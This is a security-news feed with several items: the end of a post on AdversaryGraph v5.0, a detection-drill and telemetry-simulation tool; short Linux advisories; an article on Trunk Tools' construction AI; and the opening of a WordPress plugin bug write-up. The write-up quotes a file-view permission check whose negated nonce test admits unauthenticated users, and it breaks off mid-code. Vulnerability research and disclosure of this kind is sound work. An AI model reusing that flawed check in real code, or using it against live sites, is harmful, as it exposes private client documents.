tuning, and dashboard validation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*vpv4bXcWuUgvV4Hx.png"></figure><p>Credentials are not stored as part of the saved destination history. The saved address is intended to reduce typing friction, not to become a secret store.</p><h3>AI Attack Assistant</h3><p>The AI Attack Assistant is one of the main additions in v5.0.</p><p>It helps generate detection-engineering drills by building correlated telemetry stories around selected behavior.</p><p>The assistant supports three modes:</p><ol><li><strong>Selected TTP</strong>: generate a focused validation flow around the technique currently selected in the Attack Simulation page.</li><li><strong>Threat actor</strong>: generate a scenario inspired by a threat actor’s known behavior and ATT&amp;CK profile.</li><li><strong>Challenge Me</strong>: generate a blind multi-phase detection challenge for the analyst.</li></ol><p>There is also a <strong>Complicated attack</strong> option. When enabled, the assistant builds longer multi-source flows across telemetry types such as:</p><ul><li>Windows Security Event Log.</li><li>Sysmon.</li><li>EDR process and file telemetry.</li><li>DNS logs.</li><li>Proxy logs.</li><li>Firewall traffic logs.</li><li>Web access logs.</li><li>WAF/security logs.</li><li>Authentication logs.</li></ul><p>The goal is not to normalize everything into one generic schema. For complicated scenarios, the assistant should preserve source/vendor-shaped event patterns so the SIEM parser and rule logic are tested more realistically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R2jz_jH_4T-N9__R.png"></figure><h3>Coherent Kill Chains, Not Random Events</h3><p>A detection drill should not be a random list of suspicious events.</p><p>In v5.0, complicated scenarios are built as coherent attack chains. The chain has ordered phases, each phase has a reason, and each phase emits events that should correlate with the surrounding activity.</p><p>For example, a password-spray-to-foothold scenario may include:</p><ol><li>Username enumeration.</li><li>Multiple failed authentication attempts.</li><li>One successful logon after failures.</li><li>Endpoint discovery from the authenticated host.</li><li>Suspicious tool transfer.</li><li>Persistence or lateral discovery.</li></ol><p>That is much more useful than a single failed-login event.</p><p>The Attack Chain Graph makes this visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-bkB_LbIx9r5Ro35.png"></figure><p>Each phase can show:</p><ul><li>Phase number.</li><li>ATT&amp;CK technique.</li><li>Telemetry source.</li><li>Event format.</li><li>Event count.</li><li>Detection goal.</li><li>Supporting tags.</li></ul><p>This helps the analyst understand whether the generated activity is a plausible kill chain or just a bag of indicators.</p><h3>Explain Attack</h3><p>When “Challenge Me” or a complex AI-generated scenario is used, the platform includes an <strong>Explain Attack</strong> action.</p><p>This panel explains:</p><ul><li>What the scenario is trying to simulate.</li><li>Why each phase appears in the chain.</li><li>Which telemetry sources matter.</li><li>What the analyst should search for.</li><li>What detections should fire.</li><li>Which false positives or tuning points should be considered.</li><li>What success criteria should be used.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H7lfS2NaR1B5hvEV.png"></figure><p>This is useful for training and validation. It turns generated events into an exercise that a SOC analyst, detection engineer, or CTI analyst can actually follow.</p><h3>Named Scenario Library</h3><p>Release 5.0 includes a library of named coherent scenarios.</p><p>Examples include:</p><ul><li>Web App to Endpoint Compromise.</li><li>Password Spray to Valid Account Foothold.</li><li>SQL Injection to Data Theft.</li><li>Recon to Web Shell Persistence.</li><li>Valid Account to LSASS Access.</li><li>Password Spray to Exfiltration.</li><li>XSS Canary to Session Abuse.</li><li>SSRF Metadata Probe to C2.</li><li>Ransomware Precursor Chain.</li><li>Living-off-the-Land Transfer and Execution.</li><li>Internal Discovery After Foothold.</li><li>Web Enumeration to Password Spray.</li><li>Public App Exploit to Persistence.</li><li>Credential Dump to Cloud Upload.</li><li>Signed Binary Proxy to C2.</li><li>FIN7-style web, identity, and persistence flow.</li><li>APT29-style identity and PowerShell flow.</li><li>Lazarus-style delivery and exfiltration flow.</li><li>Noisy red-team drill.</li><li>Stealthy low-volume intrusion chain.</li><li>WAF bypass retry chain.</li><li>Service account abuse.</li><li>External recon to credential access.</li><li>C2 telemetry validation.</li><li>Persistence control validation.</li></ul><p>These are not meant to prove that a real actor attacked you. They are templates for detection validation and training. They help answer questions like:</p><ul><li>Does my SIEM parse this source?</li><li>Does my correlation rule see the sequence?</li><li>Does the detection alert only on one event or on the chain?</li><li>Can analysts reconstruct the story from logs?</li><li>Which telemetry source is missing?</li><li>Where do false positives appear?</li></ul><h3>Safety Boundaries</h3><p>Attack Simulation must be safe by design.</p><p>The v5.0 module follows several boundaries:</p><ul><li>It does not execute malware.</li><li>It does not run arbitrary commands.</li><li>It does not exploit arbitrary external targets.</li><li>Web simulation traffic is limited to predefined benign canaries against the local lab target.</li><li>SIEM forwarding sends generated Attack Simulation telemetry.</li><li>Unsafe URL schemes and metadata/link-local destinations are blocked.</li><li>Credentials used for forwarding are used only for the current request and are not stored.</li></ul><p>This matters because the target user is a defender. The feature is built for detection engineering, parser validation, SOC drills, and authorized lab workflows.</p><h3>How This Fits Detection Engineering</h3><p>Detection engineering is not only writing rules. It is a lifecycle:</p><ol><li>Understand the adversary behavior.</li><li>Map it to ATT&amp;CK or another behavior model.</li><li>Identify required telemetry.</li><li>Confirm that telemetry exists.</li><li>Confirm that parsing works.</li><li>Write detection logic.</li><li>Test the logic with realistic events.</li><li>Tune false positives.</li><li>Document assumptions and gaps.</li><li>Re-test when infrastructure or parsers change.</li></ol><p>AdversaryGraph v5.0 tries to support this lifecycle directly.</p><p>The CTI modules help with steps 1 and 2.</p><p>IOC and malware modules help enrich the investigation context.</p><p>Asset attack-surface mapping helps identify relevant entry points.</p><p>Attack Simulation helps with steps 3 through 8.</p><p>Reports and docs help with steps 9 and 10.</p><h3>Architecture Overview</h3><p>The self-hosted platform is built around a browser frontend and API backend.</p><p>At a high level:</p><ul><li>Frontend: React/Vite user interface.</li><li>Backend: FastAPI service.</li><li>Database: PostgreSQL for stored investigations and platform data.</li><li>Background jobs: Redis/Celery where needed.</li><li>ATT&amp;CK data: synchronized from MITRE sources.</li><li>AI providers: operator-configured providers such as Claude, OpenAI, Gemini, MiniMax, or local OpenAI-compatible services.</li><li>Malware workflow: MalwareGraph-backed analysis components.</li><li>Attack lab: Docker-based target services for controlled telemetry generation.</li><li>SIEM forwarding: HTTP(S) delivery to configured collectors.</li></ul><p>For the v5.0 web simulation flow, the important architectural distinction is:</p><p>AdversaryGraph does not simply invent an access log line for the UI. It sends real HTTP requests to the lab web target, and the lab web target emits server-side logs.</p><p>For AI-generated complicated scenarios, the goal is different. The assistant generates source-shaped telemetry for SIEM parser and detection validation. This is not proof of compromise, and it is not a replacement for live lab execution. It is a defensive validation tool for testing ingestion, parsers, correlation, dashboards, and analyst workflows.</p><h3>Example Use Case: Password Spray Detection</h3><p>A common detection engineering task is password spray validation.</p><p>The analyst wants to know:</p><ul><li>Do we ingest authentication failures?</li><li>Are usernames parsed correctly?</li><li>Can we count failures across many users?</li><li>Can we detect one source trying one password against many accounts?</li><li>Can we correlate a later successful login?</li><li>Can we connect the successful login to endpoint activity?</li></ul><p>With AdversaryGraph v5.0, the workflow becomes:</p><ol><li>Select a credential-access or brute-force related TTP.</li><li>Choose the password spray scenario.</li><li>Run the lab or AI-assisted flow.</li><li>Observe authentication-related events.</li><li>Forward the events to the SIEM.</li><li>Confirm the parser.</li><li>Confirm the rule.</li><li>Review the chain graph.</li><li>Use Explain Attack to document what should have happened.</li><li>Record gaps.</li></ol><p>The important part is the chain. A single 4625-like event is not enough. A realistic validation should include many failures, many users, timing, source consistency, and possibly one later success.</p><h3>Example Use Case: Web Recon to Exploit-Shaped Telemetry</h3><p>For a web application detection scenario, the analyst may want to test:</p><ul><li>Path discovery.</li><li>Sensitive file probing.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>WAF canary classification.</li><li>Access-log parser behavior.</li><li>SIEM dashboards for web attacks.</li></ul><p>AdversaryGraph can run approved web canaries against the lab web target, then show the real target-side logs in the UI.</p><p>This lets the detection engineer validate more than a rule. It validates whether the web tier emits usable logs and whether the SIEM receives enough context to detect the behavior.</p><h3>Example Use Case: Malware Findings to Detection Validation</h3><p>The malware module can produce findings such as:</p><ul><li>Suspicious imports.</li><li>Strings.</li><li>Packed sample indicators.</li><li>Function-level behavior.</li><li>Potential IOCs.</li><li>ATT&amp;CK candidates.</li><li>AI-assisted summaries.</li></ul><p>Those findings can feed detection engineering:</p><ul><li>Which API calls should we monitor?</li><li>Which command lines or process patterns matter?</li><li>Which persistence mechanisms appear?</li><li>Which network indicators are useful?</li><li>Which behaviors should become validation scenarios?</li></ul><p>AdversaryGraph’s value is that malware findings do not stay isolated in a reverse-engineering note. They can be connected back to ATT&amp;CK and validation planning.</p><h3>Example Use Case: Asset Inventory to Attack Surface</h3><p>Asset inventories often live in spreadsheets, CMDB exports, or scanner output. The security team may know what exists, but not how to translate that into likely ATT&amp;CK entry points.</p><p>The Asset Attack Surface module helps with:</p><ul><li>Normalizing assets.</li><li>Identifying exposed services.</li><li>Scoring exposure.</li><li>Mapping likely entry points.</li><li>Proposing ATT&amp;CK candidates.</li><li>Creating saved cases.</li></ul><p>This connects directly to Attack Simulation because a high-risk public web application or VPN service should map to validation scenarios around external discovery, exploitation attempts, credential attacks, and logging coverage.</p><h3>What This Release Is Not</h3><p>It is important to define what v5.0 is not.</p><p>It is not an autonomous attack platform.</p><p>It is not a malware execution system.</p><p>It is not a replacement for a full cyber range.</p><p>It is not attribution proof.</p><p>It is not a guarantee that a detection works in production.</p><p>It is an analyst-assistance and validation platform. Its output should be reviewed by qualified analysts and detection engineers before operational use.</p><h3>What Makes v5.0 Different</h3><p>The main difference is the connection between CTI and validation.</p><p>Many tools stop at one of these points:</p><ul><li>Visualize ATT&amp;CK.</li><li>Extract TTPs.</li><li>Store IOCs.</li><li>Generate sample logs.</li><li>Run a lab attack.</li><li>Forward events.</li></ul><p>AdversaryGraph tries to connect these into one workflow:</p><ol><li>Understand the behavior.</li><li>Map it.</li><li>Enrich it.</li><li>Simulate it safely.</li><li>Observe telemetry.</li><li>Send it to the SIEM.</li><li>Explain what happened.</li><li>Document what passed and what failed.</li></ol><p>That is the direction I want the platform to continue moving.</p><h3>Getting Started</h3><p>If you want to explore the public interface:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p><strong>If you want the full private platform:</strong></p><pre>git clone https://github.com/anpa1200/adversarygraph.git<br>cd adversarygraph<br>cp .env.example .env<br>docker compose up</pre><p><strong>Then open:</strong></p><pre>http://localhost:3000</pre><p><strong>Read the full documentation here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/">AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Attack Simulation guide:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/attack-simulation/">Attack Simulation | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Project page:</strong></p><p><a href="https://1200km.com/adversarygraph/">AdversaryGraph AI - CTI-to-Detection Platform</a></p><p><strong>GitHub release:</strong></p><p><a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">Release AdversaryGraph v5.0.0 · anpa1200/adversarygraph</a></p><h3>Final Thoughts</h3><p>AdversaryGraph v5.0 is a step toward a more complete CTI-to-detection workflow.</p><p>The platform is still built around a simple idea: intelligence should not end as a static report. It should become a mapped, enriched, validated, and explainable defensive workflow.</p><p>With Attack Simulation, SIEM forwarding, real lab telemetry, AI-assisted scenario generation, and attack-chain explanation, v5.0 moves AdversaryGraph closer to that goal.</p><p>The next challenge is to continue improving realism: more telemetry sources, more lab targets, better parser validation, stronger scenario libraries, and deeper connections between malware analysis, asset exposure, and detection engineering.</p><p>If you work in CTI, SOC operations, detection engineering, malware analysis, or purple-team validation, I would be glad to hear feedback.</p><p>Project:</p><p><a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></p><p>Documentation:</p><p><a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></p><p>Live workspace:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p>Main page:</p><p><a href="https://1200km.com/">Andrey Pautov - CTI &amp; Detection Engineering</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=21873b2a6c39" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39">AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Preisgabe von Informationen in golang-github-docker-libnetwork (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3644777/unix-server/security-preisgabe-von-informationen-in-golang-github-docker-libnetwork-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644777/unix-server/security-preisgabe-von-informationen-in-golang-github-docker-libnetwork-suse/</guid>
<pubDate>Sat, 04 Jul 2026 06:46:12 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in docker (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3644402/unix-server/security-mehrere-probleme-in-docker-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644402/unix-server/security-mehrere-probleme-in-docker-suse/</guid>
<pubDate>Fri, 03 Jul 2026 23:16:29 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8496-2: cifs-utils regression]]></title>
<description><![CDATA[USN-8496-1 fixed a vulnerability in cifs-utils. Unfortunately, the fix
introduced a regression with Kerberos mounts. This update reverts the
security update until a complete fix is available.

We apologize for the inconvenience.

Original advisory details:

 It was discovered that cifs-utils inco...]]></description>
<link>https://tsecurity.de/de/3644334/unix-server/usn-8496-2-cifs-utils-regression/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644334/unix-server/usn-8496-2-cifs-utils-regression/</guid>
<pubDate>Fri, 03 Jul 2026 22:01:25 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[USN-8496-1 fixed a vulnerability in cifs-utils. Unfortunately, the fix
introduced a regression with Kerberos mounts. This update reverts the
security update until a complete fix is available.

We apologize for the inconvenience.

Original advisory details:

 It was discovered that cifs-utils incorrectly dropped root privileges
 before looking up user information. A local attacker could possibly use
 this issue to execute arbitrary code as the root user.]]></content:encoded>
</item>
<item>
<title><![CDATA[How Fidelis Strengthens Enterprise Container Security Across Docker and Kubernetes]]></title>
<description><![CDATA[Learn how Fidelis helps secure Docker and Kubernetes environments with continuous visibility, threat detection, and runtime protection for enterprise containers.
The post How Fidelis Strengthens Enterprise Container Security Across Docker and Kubernetes appeared first on Fidelis Security.]]></description>
<link>https://tsecurity.de/de/3644184/it-security-nachrichten/how-fidelis-strengthens-enterprise-container-security-across-docker-and-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644184/it-security-nachrichten/how-fidelis-strengthens-enterprise-container-security-across-docker-and-kubernetes/</guid>
<pubDate>Fri, 03 Jul 2026 20:07:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn how Fidelis helps secure Docker and Kubernetes environments with continuous visibility, threat detection, and runtime protection for enterprise containers.</p>
<p>The post <a href="https://fidelissecurity.com/threatgeek/cloud-security/enterprise-container-security-across-docker-and-kubernetes/">How Fidelis Strengthens Enterprise Container Security Across Docker and Kubernetes</a> appeared first on <a href="https://fidelissecurity.com/">Fidelis Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Trunk Tools' stack cut document review from 60 days to 10 by ditching general-purpose models]]></title>
<description><![CDATA[Most verticals aren’t clean, well-oiled SaaS databases; the reality is ugly documents, proprietary schemas, implicit workflows, and long‑running tasks that most general-purpose models struggle with. This prompted construction project management company Trunk Tools to build a specialized, three-la...]]></description>
<link>https://tsecurity.de/de/3643726/it-nachrichten/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643726/it-nachrichten/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models/</guid>
<pubDate>Fri, 03 Jul 2026 15:46:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most verticals aren’t clean, well-oiled SaaS databases; the reality is ugly documents, proprietary schemas, implicit workflows, and long‑running tasks that most general-purpose models struggle with. </p><p>This prompted construction project management company Trunk Tools to build a specialized, three-layer architecture — perception, semantics, agents — based on highly-detailed data to support high-accuracy, highly-relevant industry automation.</p><p>Their purpose-built stack has shrunk review cycles from months to days, prevented costly field errors, and given autonomous agents the ability to reason over millions of pages of documentation, Trunk says. </p><p>“We really set out to take the data from dispersed systems, pre-process it, structure it, go through our ontology into a knowledge graph, and then train AI models,” said Sarah Buchner, Trunk’s founder and CEO and a former carpenter. </p><p>For builders in other verticals, Trunk’s approach could serve as a blueprint for transforming data chaos into agent‑ready, industry-specific workflows. </p><h2>Where general-purpose LLMs break down on industry data </h2><p>Foundation LLMs, while powerful, are optimized for breadth, not always depth. </p><p>“General-purpose LLMs are trained to be okay at everything, so they're weak at anything niche,” said Kriti Faujdar, a senior product manager working in AI infrastructure, agentic AI, security, and LLM platforms. For instance: Rare terms, domain-specific reasoning, the unspoken context that any practitioner “just knows.” </p><p>Web, app, and software developer Sébastien De Bollivier agreed that the biggest bottleneck is reliability on data that is “jargon-dense, abbreviation-heavy, and format-specific.” </p><p>“A GPT-4-class model can understand a French legal contract, but will fumble the specific article references practitioners need to cite,” he said. </p><p>Besides, the most valuable enterprise data never made it into pretraining anyway, Faujdar pointed out. It's sitting in internal systems and proprietary formats. “RAG helps a little,” she said. “But it's just giving better facts to a model that still can't reason properly in the domain.”</p><p>Pre-training on domain data is critical; enterprises should then fine-tune on good task examples and build their own evals. “A few thousand examples from real practitioners beats millions of scraped, noisy ones," Faujdar said. </p><p>Mixture-of-experts (MoE) can provide specialization without inference costs blowing up. Pairing RAG with fine-tuning also works well; RAG handles the factual long trail while fine-tuning fixes vocabulary and reasoning.</p><p>De Bollivier pointed to the advantage of hybrid stacks: A general-purpose model for reasoning and orchestration, a smaller fine-tuned model (or dense retrieval over a curated corpus) for domain-specific extraction. He advised: “Don't fine-tune to make the model 'smarter' about a domain, fine-tune to make it more reliable on the specific output format your workflow requires.”</p><p>The trades and construction are certainly industries seeing traction with these techniques, as are legal and healthcare, De Bollivier said. These verticals have “high stakes for errors plus standardized document formats, equaling clear domain-training ROI.”</p><p>One honest caveat worth mentioning, Faujdar said: Specialized models can often fall apart outside their domain, so they’re often not useful outside their expertise (unless they’re re-trained). </p><h2>Perception, semantics, agents: inside Trunk's three-layer stack</h2><p>In highly-specialized domains like construction, “data dumps” into large language models (LLMs) don’t cut it, said Trunk’s CTO Amrish Kapoor. This is because most transformers are probabilistic models: When given an image, they report back that it is “probably” a tree, or “probably” a child playing next to a tree. </p><p>This makes them insufficient for high‑precision symbolic interpretation. For instance, in construction documents, a 2-millimeter-wide symbol has a vastly different meaning depending on where it’s placed. </p><p>Further, constrained by context limits, probabilistic models struggle with long‑term project memory. “I don't mean a context window of a few tokens,” Kapoor said. “I'm talking about long term memory that stretches across months and years, because this is how long some of these projects are.”</p><p>Instead, Trunk’s three-layer system breaks workflows into: </p><ul><li><p>Perception (reading and extracting data from messy docs like PDFs, drawings, or scans)</p></li><li><p>A semantic/graph layer (making sense of that data and understanding their relationships).</p></li><li><p>LLMs and agents on top.</p></li></ul><p>Construction drawings are typically symbolic, Buchner said. A door isn't always labeled ‘door.’ Sometimes it's simply an arc on a wall that a trained eye learns to read based on years of practice. </p><p>“The perception layer is what teaches AI to read that language,” she said. The semantic layer then gives that information meaning; for instance, connecting the door to the drawing that details it, the spec that governs it, and the trade that installs it. This helps answer project engineers’ critical questions: Not "is there a door here?" but "does this door create a problem down the line?"</p><p>Particularly in construction, that shift matters because the cost of a problem compounds with time. “A conflict caught in design is relatively low cost to address,” Buchner said, “whereas the same problem caught in the field might cost tens of thousands of dollars.” </p><p>At a high level, the system identifies the document type and begins extracting information based on content (drawing, schedules, paragraph text). This data is then “transformed and augmented” in the platform, which triggers agentic workflows like knowledge graph relationships and end-user workflows. </p><p>For instance, an agent might review an architecture bulletin and produce a visual overlay comparing an older version and a newer version (flagging additions and removals), then generate written narratives that describe what those changes are in simple terms. This helps users understand what’s changed and coordinate with trade partners on updated pricing and change orders. </p><h2>The scale of construction’s data problem</h2><p>Construction workflows are “ripe with implicit assumptions and connections between data in its myriad of sources,” Buchner said. And the amount of unstructured data is “humanly impossible” to process or make sense of.</p><p>Buchner estimated the average high-rise building generates about 3.6 million pages of corresponding documentation. “If you print it into a stack of papers it would be as high as the building itself.” </p><p>All three layers of Trunk’s stack — perception, semantic, LLM — are trained on “very specific datasets” from customers with “explicit permissions” and auto‑labeling/IP, Kapoor explained. Customers who don’t want Trunk training on their data can opt out. </p><p>Data is deidentified and aggregated, and Trunk also collects “tons more” labeled data through other pipelines like 3D building information modeling (BIM). </p><p>Trunk says it only ships agents that achieve around 95% accuracy. The team maintains continuous evaluation pipelines based on ground truth data from customers and experts. They also employ an LLMs-as-a-judge model. </p><p>“This notion of an LLM as a judge is to score how well you're doing, both subjectively as well as objectively,” Kapoor said. Objectivity can be an easy ‘right’ or ‘not right,’ but subjectivity requires more nuance. </p><p>For instance, when creating an email or narrative or explanation, an LLM as a judge framework can create a composite score, or a numerical value that aggregates different metrics and tests a model's performance or risk.</p><p>There can be challenges, though, particularly with latency, Buchner noted; any time the reasoning capacity of underlying models increases, the risk of latency goes up, too. Trunk maintains a set of evaluation criteria to objectively measure latency whenever changes are made to underlying infrastructure, agents, and API calls. </p><p>Then, “before we release to customers, we ensure marginal changes to the end-user experience are well worth the performance enhancements,” Buchner said. </p><h2>From 60 days to 10: the measurable payoff</h2><p>Trunk’s platform powers seven AI agents purpose-built for construction, such as analyzing request for information (RFI) responses, overviewing bids, or reviewing drawings and submittals. </p><p>The submittal agent, for instance, flags missing, conflicting, or noncompliant information in product specs and RFIs. While it’s an essential step in the construction process, “it's a super annoying workflow,” Buchner said, because human reviewers have to compare documents “with a bunch of other parts of documents.” </p><p>But the agent is able to do this in seconds, and Trunk says it has reduced submittal cycles from 50 to 60 days to 10, “which has massive schedule and financial implications.” </p><p>Trunk is now at a place where these agents are communicating directly with each other, which is “quite exciting,” Buchner said. So, for example, one agent will review an architectural drawing for accuracy, then autonomously hand it over to agents handling RFIs and asking follow-up questions. </p><p>“If the drawings have problems, the RFI agent is taking over and is actively reaching out for clarification,” Buchner explained. </p><p>Trunk says its customers report savings of 20 to 40 minutes per field question. Buchner said that users in the field know better than anyone how much of a “time suck” it is to go back and forth from office trailers, dig through project documents in scattered systems or printed PDFs, reconcile discrepancies, and return to coordinate with trade partners. </p><p>Trunk says its customers report these additional outcomes:</p><ul><li><p>Average 8 minute time savings for single-document retrieval (status checks, location lookups, quantity queries).</p></li><li><p>Average 20 minute time savings for standard referencing (cross-referencing 2 to 3 spec sections to form an answer. </p></li><li><p>Average 40 minute time savings for multi-document research (listing and filtering queries, mapping relationships, analyzing RFIs and submittals across 4 to 6 documents).</p></li><li><p>Average 75 minute time savings for complex tasks (creating RFIs and other communication materials, deep cross-referencing across documents, change tracking). </p></li></ul><p>In one instance, Trunk’s drawing review agent flagged that a structural beam had been moved up 8.5 inches. However, this was not documented by the architect. If the change hadn’t been caught, the project manager would likely have had to strip out and reinstall the right size beam, Buchner said. This rework would have added $10,000 or more to the budget, and “certainly there would have been implications on the schedule.” </p><p>Buchner also pointed to other examples: an agent flagged $60,000 in exaggerated pricing with no justification from landscaping subcontractors; identified a fireplace that needed to be sealed prior to drywall installation, saving around $100,000 in labor, materials, and delays; and called out that an electric door required a panel that wasn’t included in electrical drawings. </p><h2>Learnings for other industries</h2><p>Trunk’s approach to building agents is applicable to any vertical working with high volumes of unstructured, industry-specific data. 

Builders working in specific verticals must understand the industry’s specific data challenges their end users face and build technical infrastructure that can transform unstructured data into something an “LLM can traverse and understand,” Buchner said. 

“Only then can you build the connections between data points that ultimately feed agentic workflows.”

A lot of money is being invested in foundational models, so enterprises should build modular systems that can leverage the strengths of various models as they continue to improve, Buchner advised. 

Then, “build your technical advantage where the generic models are not investing and not performing well,” she said. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few…]]></title>
<description><![CDATA[I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few Weeks LateAuthor: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzadsDisclosure Notice: This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fres...]]></description>
<link>https://tsecurity.de/de/3643713/hacking/i-found-an-unauthenticated-file-disclosure-bug-in-a-wordpress-plugin-then-found-out-i-was-a-few/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643713/hacking/i-found-an-unauthenticated-file-disclosure-bug-in-a-wordpress-plugin-then-found-out-i-was-a-few/</guid>
<pubDate>Fri, 03 Jul 2026 15:37:12 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*14BNMx6SsZgrWANopYs-DQ.png"></figure><h3>I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few Weeks Late</h3><h4><strong>Author:</strong> <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br><strong>GitHub:</strong> <a href="http://github.com/alisalive">alisalive </a><br><strong>LinkedIn:</strong> <a href="http://linkedin.com/in/camalzads">camalzads</a></h4><blockquote><strong>Disclosure Notice:</strong><em> </em>This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fresh install of WordPress and the publicly available “latest-stable” release of the plugin in question, downloaded directly from the official WordPress.org plugin repository. No live, production, or third-party website was accessed, scanned, or tested at any point. All file contents shown are synthetic test data created solely for this research. This write-up is published strictly for educational purposes, after confirming the underlying issue is already publicly tracked in the National Vulnerability Database.</blockquote><h3>Background</h3><p>Most of my CVE research starts the same way: pick a plugin with a documented history of vulnerabilities, and audit its other code paths on the theory that a developer who shipped one insecure pattern is statistically likely to have shipped others. This time the target was <strong>SP Project &amp; Document Manager</strong> (slug: sp-client-document-manager), a WordPress plugin for managing client documents and project files — with a public CVE history stretching back to CVE-2014-9178 (SQL injection) and CVE-2021-24347 (arbitrary file upload).</p><p>What follows is the story of a fully independent, fully reproducible finding — and the moment, mid-writeup, I discovered someone had already reported the same root cause a few weeks earlier. I’m publishing the full technical breakdown anyway, because the methodology, the environment-building process, and the honest reconciliation with prior art are the actual point of doing this work in public.</p><h3>Scope &amp; Method</h3><p>Parameter Detail Target SP Project &amp; Document Manager v4.71 (latest-stable, WordPress.org) Environment Local, isolated Docker stack — WordPress + MySQL 5.7 Assessment Type White-box source code audit + black-box PoC validation Authorization Self-authorized, isolated local research environment — no live targets Tools grep, MySQL CLI, Firefox DevTools (Network/Console), Docker Compose</p><h3>Phase 1: Source Identification</h3><p>I pulled the plugin directly from WordPress.org and started with the pattern I always check first on any plugin: unauthenticated AJAX surface.</p><pre>unzip sp-client-document-manager.latest-stable.zip -d sp-document<br>cd sp-document/sp-client-document-manager</pre><pre>grep -rn "wp_ajax_nopriv_" . --include="*.php"</pre><p>The scan returned eleven wp_ajax_nopriv_ registrations — endpoints reachable by anyone, logged in or not:</p><pre>./ajax.php:19:  wp_ajax_nopriv_cdm_file_permissions<br>./ajax.php:22:  wp_ajax_nopriv_cdm_folder_permissions<br>./ajax.php:25:  wp_ajax_nopriv_cdm_project_dropdown<br>./ajax.php:31:  wp_ajax_nopriv_cdm_file_info<br>./ajax.php:39:  wp_ajax_nopriv_cdm_view_file<br>./ajax.php:42:  wp_ajax_nopriv_cdm_file_list<br>./ajax.php:45:  wp_ajax_nopriv_cdm_thumbnails<br>./ajax.php:52:  wp_ajax_nopriv_cdm_add_breadcrumb<br>./ajax.php:56:  wp_ajax_nopriv_cdm_community_login<br>./ajax.php:62:  wp_ajax_nopriv_cdm_community_reset_password<br>./ajax.php:65:  wp_ajax_nopriv_cdm_community_register</pre><p>Two stood out immediately given what the plugin is for: cdm_view_file and cdm_file_list. A document manager plugin with unauthenticated file-viewing endpoints is exactly the kind of contradiction worth chasing.</p><h3>Phase 2: Root Cause Analysis</h3><p>Inside classes/ajax.php, the access gate for view_file() looked like this:</p><pre>function view_file($file_id = false) {<br>    global $wpdb, $current_user, $cdm_comments, $cdm_log, $post;<br>    ...<br>    $r = $wpdb-&gt;get_results($wpdb-&gt;prepare(<br>        "SELECT * FROM " . $wpdb-&gt;prefix . "sp_cu WHERE id = %d ORDER BY date DESC",<br>        $file_id<br>    ), ARRAY_A);</pre><pre>    if (cdm_folder_permissions($r[0]['pid']) == 1<br>        or $uid == $r[0]['uid']<br>        or current_user_can('manage_options') == true<br>        or get_option('sp_cu_release_the_kraken') == 1<br>        or !wp_verify_nonce( $_REQUEST['_ckey'], 'cdm-public-download' )) {</pre><pre>        if (current_user_can('manage_options') != true &amp;&amp; 